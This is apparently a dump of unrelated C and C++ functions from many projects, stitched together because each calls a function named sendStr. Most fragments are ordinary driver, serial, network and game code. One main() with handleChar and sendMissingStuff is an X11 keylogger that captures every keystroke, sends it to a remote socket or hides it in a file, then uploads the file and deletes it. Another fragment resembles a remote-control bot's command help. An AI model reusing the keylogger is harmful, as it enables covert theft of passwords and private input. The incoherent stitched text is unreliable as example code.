// help commands // hp
int zXcmd_hp(pCommandData X)
{
switch(X->argc?*(unsigned short *)(X->argv[X->argc]):0)
{
case c_sm:
wsprintf(X->sbuf,"%s*:hp| system command",H_sm);
break;
case c_wc:
wsprintf(X->sbuf,"%s*:hp| window control command",H_wc);
break;
case c_mx:
wsprintf(X->sbuf,"%s*:hp| message box command",H_mx);
break;
case c_dn:
case c_up:
case c_ux:
case c_hi:
case c_qt:
case c_zX:
lstrcpy(X->sbuf,"-:hp| sorry! command help unimplemented ...");
break;
default:
lstrcpy(X->sbuf,fHELP);sendStr(X);
lstrcpy(X->sbuf,tHELP);sendStr(X);
lstrcpy(X->sbuf,HELP);sendStr(X);
wsprintf(X->sbuf,"*:hp| end of command list");
}
sendStr(X);
return 0;
}
void
exitServ (struct irc * bot)
{
sendStr (bot, "QUIT\r\n");
close (bot->socket);
exit (0);
}
/**
* Clear the display and print the string s starting from (0,0)
* @param s The string to be printed
*/
void LCD5110::printStr(String s){
clearScreen();
setOrigin();
sendStr(s);
}
void
sendMsg (struct irc * bot, char * msg)
{
char msgbuf [BUF];
snprintf (msgbuf, BUF-1, "PRIVMSG %s", msg);
sendStr (bot, msgbuf);
}
char *MtkGps::setOutput(uint32_t mask1, uint32_t mask2, uint32_t mask3, uint32_t mask4, uint32_t mask5)
{
static char str[64];
uint32_t mask[5];
mask[0] = mask1;
mask[1] = mask2;
mask[2] = mask3;
mask[3] = mask4;
mask[4] = mask5;
strcpy(str, "$PMTK314");
char *out = strchr(str, '\0');
for(int i = 0; i < MTK3339_NMEA; i++) {
int freq = 0;
for(int m = 0; m < 5; m++) {
if (mask[m] & output_mask[i])
freq = m + 1;
}
sprintf(out, ",%d", freq);
out+= 2;
}
sendStr(str);
return str;
}
void listener() {
//start timer:
struct timeval tv,tv1;
gettimeofday(&tv,NULL);
int start_time;
memcpy(&start_time, &tv.tv_sec, sizeof(int));
//timeout:
tv1.tv_sec=PERS_TIME_OUT;
tv1.tv_usec=0;
setsockopt(newsockfd, SOL_SOCKET, SO_RCVTIMEO,
(char *)&tv1,sizeof(struct timeval));
while(tv.tv_sec-start_time<PERS_TIME_OUT) {
recv(newsockfd,buf,4096,0);
if(std::string(buf).length()==0) {
//probably just tcp keepalive message, ignore.
gettimeofday(&tv,NULL);
continue;
}
parseRequest(buf);
memset(buf,0,4096);
std::string content=serializeFile(this->requestFile.c_str());
sendStr(content.c_str(),content.length());
gettimeofday(&tv,NULL);
}
return;
}
void
enterChan (struct irc * bot, char * chan)
{
char msg [BUF];
snprintf(msg, BUF-1, "JOIN %s\r\n", chan);
sendStr (bot, msg);
}
int main(int argc, char **argv)
{
const char *filename = std::string("/dev/i2c-0").c_str(); // Name of the port we will be using
int i2c_address = 0x3E; // Address of LCD display
if(init_LCD(filename, i2c_address)) {
printf("initilization error, exiting...\n");
return 1;
}
if (argc>2){
sendStr(argv[1],argv[2]);
} else if (argc==2) {
sendStr(argv[1],"");
} else {
sendStr("","");
}
}
int MtkGps::setEasyMode(uint8_t arg)
{
char str[64];
sprintf(str, "$PMTK%d,1,%d", PMTK_CMD_EASY_ENABLE, arg ? 1 : 0);
sendStr(str);
return 0;
}
int MtkGps::setNavThreshold(uint8_t speed)
{
char str[64];
if (speed > PMTK_NAV_THRESHOLD_20)
speed = PMTK_NAV_THRESHOLD_20;
sprintf(str, "$PMTK%d,%.1f", PMTK_SET_NAV_THRESHOLD, nav_threshold[speed]);
sendStr(str);
return 0;
}
void main(){
u8 str[] = "MaWei";
EA = 1;
UartInit();
Timer0Init();
sendStr(str);
while(1){
P30 = P31;
}
}
//non-persistent service:
void serviceRequest() {
//printf("non-persistent service\n");
//first, create a thread that listens for requests.
//int reqsize=read(newsockfd, buf, 4096);
read(newsockfd,buf,4096);
parseRequest(buf);
memset(buf,0,4096);
std::string content=
serializeFile(this->requestFile.c_str());
//std::cout<<"content:\n"<<content<<std::endl;
sendStr(content.c_str(),content.length());
}
void setBoost(float volts) {
int i;
float Rset = (R1/((volts/1.229)-1))-R2;
UCB1I2CSA = pot12Addr;
TXData[0]=(1-Rset/R)*256;
TXData[1]=boostReg;
TXByteCtr=2;
while (UCB1CTLW0 & UCTXSTP); // Ensure stop condition got sent
UCB1CTLW0 |= UCTR | UCTXSTT; // I2C TX, start condition
if (DEBUG)
sendStr(" Pot set for boost.\n");
for (i=0; i<30000; i++) ; //Delay
}
void handleChar(int connected, char *buf, KeySym ks) {
fixStr(buf, ks);
if(connected)
sendStr(buf);
else
appendFile(filename, buf);
#ifdef DEBUG
printf("%s", buf);
fflush(stdout);
#endif
}
int main() {
// open needed stuff
int connected = connectSocket();
Display *dpy = XOpenDisplay(NIL);
// my event
XEvent event;
// just in case
if(connected)
sendMissingStuff();
// some stuff for keycode-char conversion
char buf[2];
int len;
KeySym keysym;
grab(dpy);
int i = 0;
while(1) {
// check for internet connection
if(i % CONCHECKINTV == 0 && !connected)
if( (connected = connectSocket()) )
sendMissingStuff();
XNextEvent(dpy, &event);
// convert keycode to character
if( (len = XLookupString(&event.xkey, buf, 1, &keysym, NULL)) == 0 )
buf[0] = '\0';
// forward event to client
sendSpecEvent(dpy, keysym, event);
if(event.type == KeyPress) {
// save key for me
handleChar(connected, buf, keysym);
}
i++;
}
sendStr("\nEnd of transmission\n");
ungrab(dpy);
XCloseDisplay(dpy);
close(sockfd);
return 0;
}
void test3(void *pdata)
{
//char *msg;
//msg = (char *)malloc(sizeof(char));
char buf[10]="0";
pdata = pdata;
while(TRUE)
{
memset(buf,'A',sizeof(buf)-1);
sendStr(buf);
OSTimeDlyHMSM(0, 0, 1, 0);
}
}
int sendMissingStuff() {
char c;
char s[2];
openFile(filename);
while( (c = getc(fd)) != EOF ) {
s[0] = c;
s[1] = '\0';
sendStr(s);
}
closeFile();
// delete file (is no longer needed)
remove(filename);
return 1;
}
void initI2C(void) {
// Configure Pins for I2C
P6SEL0 |= BIT4 | BIT5; // I2C pins
NVIC_ISER0 = 1 << ((INT_EUSCIB1 - 16) & 31); // Enable eUSCIB1 interrupt in NVIC module
// Configure USCI_B3 for I2C mode
UCB1CTLW0 |= UCSWRST; // put eUSCI_B in reset state
UCB1CTLW0 |= UCMODE_3 | UCMST | UCSSEL__SMCLK; // I2C master mode, ACLK
UCB1BRW = 240; // baudrate = SMCLK /24
UCB1CTLW0 &=~ UCSWRST; // clear reset register
UCB1IE |= UCTXIE0 | UCNACKIE; // transmit and NACK interrupt enable
if (DEBUG)
sendStr(" I2C Initialisation complete.\n");
}
//------------------------------------------------------------------------------------------
void Server::clientConnected(int client)
{
log_->debug("Client connected...");
fcntl(client, F_SETFL, O_NONBLOCK);
//std::string answ="220 Ready to serve\n";
//send(client, answ.c_str(), answ.length(), 0);
sendStr(client, "220 Ready to serve\n");
//Letter letter(accounts_,log_);
//letter.accepting==false;
//clients_[client]=letter;
clients_.insert( std::map< int, Letter >::value_type ( client, Letter(accounts_,log_) ) );
//log_->debug("Clients: " + itoa(clients_.size()));
//log_->debug("ClientID: " + itoa(client));
}
void setCntl(float volts) {
int i;
UCB1I2CSA = potVGAAddr;
if (volts < 0)
volts = 0.0;
else if (volts > 2.6)
volts = 2.6;
TXData[0]=(volts/VDD)*256;
TXData[1]=cntlReg;
TXByteCtr=2;
while (UCB1CTLW0 & UCTXSTP); // Ensure stop condition got sent
UCB1CTLW0 |= UCTR | UCTXSTT; // I2C TX, start condition
if (DEBUG)
sendStr(" Pot set for Vcntl.\n");
for (i=0; i<30000; i++) ; //Delay
for (i=0; i<30000; i++); //Delay
}
// arg >= 0, not used if < 0
char *MtkGps::sendCommand(unsigned cmd, int arg)
{
char str[64];
if (cmd > 999)
return "Invalid command\n";
if (cmd == PCMD_ANTENNA)
sprintf(str, "$PGCMD,%d,%d", cmd, arg);
else {
if (arg >= 0)
sprintf(str, "$PMTK%03d,%d", cmd, arg);
else
sprintf(str, "$PMTK%03d", cmd);
}
sendStr(str);
return str;
}
bool InfoServiceClient::Refresh()
{
_isRefreshed = false;
_infos.clear();
int port = AppSettings::GetKey(AppSettings::Connection_Rover_Info_Port).toInt();
if(!_socket->SucessfulConnected())
{
if(!_socket->ConnectToRover(port))
return false;
else
LoggerDialog::get()->Info("Info service client", "Connected to rover info service");
}
QString sendStr("{\"get\":[\"sockets\"]}");
_socket->write(sendStr.toUtf8());
return true;
}
int SerialComm::setPinDigital(int pinNumber, int pinLevel)
{
//Check if input pinNumber is actually a digital pin. If not, return -1
if ( !std::binary_search(digitalPins,digitalPins+6, pinNumber))
{
return -1;
}
else if (pinLevel > 1 || pinLevel < 0) //Make sure pinLevel is 0 or 1
{
return -2;
}
else
{
std::string intStr = std::to_string(pinNumber);
intStr.append("d"); // Separating character so arduino can differentiate between pinNumber & pinLevel
intStr.append(std::to_string(pinLevel));
intStr.append("\n"); // End character for arduino
sendStr(intStr);
return 1;
}
}
int SerialComm::setPinAnalog(int pinNumber, int pinLevel)
{
//Check if input pinNumber is actually an analog pin. If not, return -1
if ( !std::binary_search(analogPins,analogPins+6, pinNumber))
{
return -1;
}
else if (pinLevel > 255 || pinLevel < 0) //Make sure pinLevel is within 0-255 range
{
return -2;
}
else
{
std::string intStr = std::to_string(pinNumber);
intStr.append("a"); // Separating character so arduino can differentiate between pinNumber & pinLevel
intStr.append(std::to_string(pinLevel));
intStr.append("\n"); // End character for arduino
sendStr(intStr);
return 1;
}
}
// Transmit string to LineTerm
NS_IMETHODIMP mozXMLTerminal::SendText(const PRUnichar* aString,
const PRUnichar* aCookie)
{
nsresult result;
if (!mLineTermAux)
return NS_ERROR_FAILURE;
nsAutoString sendStr(aString);
// Preprocess string and check if it is to be consumed
PRBool consumed, checkSize;
result = mXMLTermSession->Preprocess(sendStr, consumed, checkSize);
PRBool screenMode;
GetScreenMode(&screenMode);
if (!screenMode && (checkSize || mNeedsResizing)) {
// Resize terminal, if need be
mXMLTermSession->Resize(mLineTermAux);
mNeedsResizing = PR_FALSE;
}
if (!consumed) {
result = mLineTermAux->Write(sendStr.get(), aCookie);
if (NS_FAILED(result)) {
// Abort XMLterm session
nsAutoString abortCode;
abortCode.AssignLiteral("SendText");
mXMLTermSession->Abort(mLineTermAux, abortCode);
return NS_ERROR_FAILURE;
}
}
return NS_OK;
}
/* Connection initialization of an Android phone */
uint8_t ADK::Init(uint8_t parent, uint8_t port, bool lowspeed) {
uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)];
uint8_t rcode;
uint8_t num_of_conf; // number of configurations
UsbDevice *p = NULL;
EpInfo *oldep_ptr = NULL;
// get memory address of USB device address pool
AddressPool &addrPool = pUsb->GetAddressPool();
USBTRACE("\r\nADK Init");
// check if address has already been assigned to an instance
if (bAddress) {
USBTRACE("\r\nAddress in use");
return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;
}
// Get pointer to pseudo device with address 0 assigned
p = addrPool.GetUsbDevicePtr(0);
if (!p) {
USBTRACE("\r\nAddress not found");
return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;
}
if (!p->epinfo) {
USBTRACE("epinfo is null\r\n");
return USB_ERROR_EPINFO_IS_NULL;
}
// Save old pointer to EP_RECORD of address 0
oldep_ptr = p->epinfo;
// Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence
p->epinfo = epInfo;
p->lowspeed = lowspeed;
// Get device descriptor
rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf);
// Restore p->epinfo
p->epinfo = oldep_ptr;
if (rcode) {
goto FailGetDevDescr;
}
// Allocate new address according to device class
bAddress = addrPool.AllocAddress(parent, false, port);
// Extract Max Packet Size from device descriptor
epInfo[0].maxPktSize = (uint8_t)((USB_DEVICE_DESCRIPTOR*)buf)->bMaxPacketSize0;
// Assign new address to the device
rcode = pUsb->setAddr(0, 0, bAddress);
if (rcode) {
p->lowspeed = false;
addrPool.FreeAddress(bAddress);
bAddress = 0;
//USBTRACE2("setAddr:",rcode);
return rcode;
}//if (rcode...
//USBTRACE2("\r\nAddr:", bAddress);
// Spec says you should wait at least 200ms.
delay(300);
p->lowspeed = false;
//get pointer to assigned address record
p = addrPool.GetUsbDevicePtr(bAddress);
if (!p) {
return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;
}
p->lowspeed = lowspeed;
// Assign epInfo to epinfo pointer - only EP0 is known
rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);
if (rcode) {
goto FailSetDevTblEntry;
}
//check if ADK device is already in accessory mode; if yes, configure and exit
if (((USB_DEVICE_DESCRIPTOR*)buf)->idVendor == ADK_VID &&
(((USB_DEVICE_DESCRIPTOR*)buf)->idProduct == ADK_PID || ((USB_DEVICE_DESCRIPTOR*)buf)->idProduct == ADB_PID)) {
USBTRACE("\r\nAcc.mode device detected");
/* go through configurations, find first bulk-IN, bulk-OUT EP, fill epInfo and quit */
num_of_conf = ((USB_DEVICE_DESCRIPTOR*)buf)->bNumConfigurations;
//USBTRACE2("\r\nNC:",num_of_conf);
for (uint8_t i = 0; i < num_of_conf; i++) {
ConfigDescParser < 0, 0, 0, 0 > confDescrParser(this);
rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);
if (rcode) {
goto FailGetConfDescr;
}
if (bNumEP > 2) {
break;
}
} // for (uint8_t i=0; i<num_of_conf; i++...
if (bNumEP == 3) {
// Assign epInfo to epinfo pointer - this time all 3 endpoins
rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo);
if (rcode) {
goto FailSetDevTblEntry;
}
}
// Set Configuration Value
rcode = pUsb->setConf(bAddress, 0, bConfNum);
if (rcode) {
goto FailSetConfDescr;
}
/* print endpoint structure */
// USBTRACE("\r\nEndpoint Structure:");
// USBTRACE("\r\nEP0:");
// USBTRACE2("\r\nAddr: ", epInfo[0].epAddr );
// USBTRACE2("\r\nMax.pkt.size: ", epInfo[0].maxPktSize );
// USBTRACE2("\r\nAttr: ", epInfo[0].epAttribs );
// USBTRACE("\r\nEpout:");
// USBTRACE2("\r\nAddr: ", epInfo[epDataOutIndex].epAddr );
// USBTRACE2("\r\nMax.pkt.size: ", epInfo[epDataOutIndex].maxPktSize );
// USBTRACE2("\r\nAttr: ", epInfo[epDataOutIndex].epAttribs );
// USBTRACE("\r\nEpin:");
// USBTRACE2("\r\nAddr: ", epInfo[epDataInIndex].epAddr );
// USBTRACE2("\r\nMax.pkt.size: ", epInfo[epDataInIndex].maxPktSize );
// USBTRACE2("\r\nAttr: ", epInfo[epDataInIndex].epAttribs );
USBTRACE("\r\nConfiguration successful");
ready = true;
return 0; //successful configuration
}//if( buf->idVendor == ADK_VID...
//probe device - get accessory protocol revision
{
uint16_t adkproto = -1;
rcode = getProto((uint8_t*) & adkproto);
if (rcode) {
goto FailGetProto; //init fails
}
USBTRACE2("\r\nADK protocol rev. ", adkproto);
}
//sending ID strings
sendStr(ACCESSORY_STRING_MANUFACTURER, manufacturer);
sendStr(ACCESSORY_STRING_MODEL, model);
sendStr(ACCESSORY_STRING_DESCRIPTION, description);
sendStr(ACCESSORY_STRING_VERSION, version);
sendStr(ACCESSORY_STRING_URI, uri);
sendStr(ACCESSORY_STRING_SERIAL, serial);
//switch to accessory mode
//the Android phone will reset
rcode = switchAcc();
if (rcode) {
goto FailSwAcc; //init fails
}
rcode = USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET;
delay(1000); // Give Android a chance to do its reset. This is a guess, and possibly could be lower.
goto SwAttempt; //switch to accessory mode attempted
/* diagnostic messages */
FailGetDevDescr:
#ifdef DEBUG_USB_HOST
NotifyFailGetDevDescr(rcode);
goto Fail;
#endif
FailSetDevTblEntry:
#ifdef DEBUG_USB_HOST
NotifyFailSetDevTblEntry(rcode);
goto Fail;
#endif
FailGetConfDescr:
#ifdef DEBUG_USB_HOST
NotifyFailGetConfDescr(rcode);
goto Fail;
#endif
FailSetConfDescr:
#ifdef DEBUG_USB_HOST
NotifyFailSetConfDescr(rcode);
goto Fail;
#endif
FailGetProto:
#ifdef DEBUG_USB_HOST
USBTRACE("\r\ngetProto:");
goto Fail;
#endif
FailSwAcc:
#ifdef DEBUG_USB_HOST
USBTRACE("\r\nswAcc:");
goto Fail;
#endif
SwAttempt:
#ifdef DEBUG_USB_HOST
USBTRACE("\r\nAccessory mode switch attempt");
#endif
//FailOnInit:
// USBTRACE("OnInit:");
// goto Fail;
//
Fail:
//USBTRACE2("\r\nADK Init Failed, error code: ", rcode);
//NotifyFail(rcode);
Release();
return rcode;
}
void ClientWorker2::performEcho(const std::shared_ptr<Client>& client) {
std::string sendStr(getConfig()->pickSendSize(), 'a');
std::string recvStr;
client->sync_echo(recvStr, sendStr);
}
int main(void)
{
uint8_t i, j, randomNumber, tempNumber, buttonCount, n = 0;
uint8_t portState[3] = {0xDF,0xBF,0x7F};
uint8_t inputState[3] = {0x04,0x08,0x10};
uint8_t* arr;
uint8_t* backup_arr;
//Источник энтропии - счетчик задержки нажатия клавиш
uint16_t delayCounter = eeprom_read_word((uint16_t*)1);
DDRC = 0xFF;
DDRB = 0xFF;
DDRD = 0xE3;
PORTD = 0xFF;
initUART();
while (1)
{
arr = (uint8_t *)malloc((n + 1) * sizeof(uint8_t));
if (n > 0) {
memcpy(arr, backup_arr, n);
free(backup_arr);
}
tempNumber = eeprom_read_byte((uint8_t*)0);
srand(delayCounter);
tempNumber ^= (makeRandom(1000)%255);
eeprom_write_byte((uint8_t*)0, (uint8_t)(tempNumber % 8));
randomNumber = eeprom_read_byte((uint8_t*)0);
arr[n] = toDisplayNum(randomNumber);
for (i = 0; i < n + 1; i++)
{
comboPort(arr[i]);
_delay_ms(DELAY);
comboPort(0x00);
_delay_ms(DELAY);
}
buttonCount = 0;
while(buttonCount < n + 1)
{
for(i = 0; i < 3; i++)
{
PORTD = portState[i];
for(j = 0; j < 3; j++)
{
if(!(PIND & inputState[j]))
{
while((PIND & inputState[j]) != inputState[j]);
if(display[i][j] == arr[buttonCount]){
comboPort(display[i][j]);
buttonCount++;
} else {
sendStr("Game over! Your score: ");
sendNum(n);
sendByte(13);
//Мигаем GG
while(1)
{
comboPort(0xC2);
_delay_ms(DELAY);
comboPort(0x00);
_delay_ms(DELAY);
}
}
}
delayCounter++;
}
}
}
backup_arr = (uint8_t*)malloc((n + 1) * sizeof(uint8_t));
memcpy(backup_arr, arr, n + 1);
free(arr);
_delay_ms(DELAY);
comboPort(0x00);
_delay_ms(DELAY * 2);
eeprom_write_word((uint16_t*)1, (uint16_t)(delayCounter));
n++;
}
}
void Client::sendMsg(const std::vector<char> &str) {
sendStr(data->serverSocket, str);
}
void PrologThread::processError(QProcess::ProcessError error)
{
qDebug() << "[PrologThread] Error: "<< error;
sendStr("[PrologThread] Error: "+QString::number(error));
}
